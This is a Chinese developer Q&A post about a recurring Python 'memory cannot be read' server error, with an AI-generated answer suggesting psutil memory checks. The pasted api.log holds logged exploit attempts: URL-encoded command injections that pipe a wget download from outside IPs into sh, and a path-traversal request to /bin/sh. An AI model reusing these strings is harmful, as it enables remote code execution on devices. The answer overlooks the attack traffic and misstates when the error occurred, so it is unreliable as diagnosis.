feingoege 2024-10-01 13:08 采纳率: 66.7%
浏览 6
问题最晚将于10月09日00:00点结题

python报内存不能read错误

服务器每天都会报这个错误, 时间随机, 不清楚什么原因导致, 查了很多资料也没有头绪, 请大咖帮忙

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报错前当时api.log中的记录

2024-10-01 08:08:07,476 - INFO - 109.205.213.198:46990 - "GET / HTTP/1.1" 200 2024-10-01 08:23:08,119 - INFO - 95.214.55.43:33324 - "GET /cgi-bin/luci/%3Bstok%3D/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.176%2Ft%7Csh%3B%60) HTTP/1.1" 404 2024-10-01 08:29:09,523 - INFO - 154.213.184.15:45418 - "POST /cgi-bin/.%25%25%252%25e/.%25%25%252%25e/.%25%25%252%25e/.%25%25%252%25e/.%25%25%252%25e/bin/sh HTTP/1.1" 404 2024-10-01 09:41:44,411 - INFO - 185.224.128.67:45588 - "GET /cgi-bin/luci/%3Bstok%3D/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.99%2Ft%7Csh%3B%60) HTTP/1.1" 404 2024-10-01 10:07:19,181 - INFO - 94.102.56.99:37422 - "GET / HTTP/1.1" 200 2024-10-01 10:10:06,697 - INFO - 36.106.167.224:60042 - "HEAD / HTTP/1.1" 405 2024-10-01 10:14:03,695 - INFO - 1.24.16.51:13948 - "GET /english/ HTTP/1.1" 404 2024-10-01 10:14:04,480 - INFO - 1.24.16.51:20082 - "GET / HTTP/1.1" 200

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19条回答 默认 最新

  • 阿里嘎多学长 2024-10-01 13:42
    关注

    AIGC生成:


    问题分析

    根据问题描述,服务器每天都会报内存不能读取错误,时间随机,查了很多资料也没有头绪。从报错前记录中可以看到,错误发生在2024-10-01 08:08:07,时间随机。

    解决方案

    1. 检查内存使用情况:使用 psutil 库检查服务器的内存使用情况,查找可能的内存泄露或高内存使用的进程。
    import psutil
    
    mem = psutil.virtual_memory()
    print(f"Total: {mem.total / (1024.0 **3):.2f} GB")
    print(f"Available: {mem.available / (1024.0 **3):.2f} GB")
    print(f"Used: {mem.used / (1024.0 **3):.2f} GB")
    print(f"Percentage: {mem.percent}%")
    
    1. 检查Python进程:使用 pmap 命令或 psutil 库检查 Python 进程的内存使用情况。
    import psutil
    
    p = psutil.Process()
    mem_info = p.memory_info()
    print(f"Resident Set Size (RSS): {mem_info.rss / (1024.0 **2):.2f} MB")
    print(f"Virtual Memory Size: {mem_info.vms / (1024.0 **3):.2f} GB")
    
    1. 检查日志记录:检查日志记录,查找可能的错误信息或警告信息,了解错误的原因。
    2. 优化内存使用:检查 Python 代码,查找可能的内存泄露或高内存使用的代码,优化内存使用。

    结论

    内存不能读取错误可能是由于内存泄露、高内存使用或其他原因导致的。通过检查内存使用情况、Python 进程和日志记录,可以找到错误的原因,并采取相应的优化措施。


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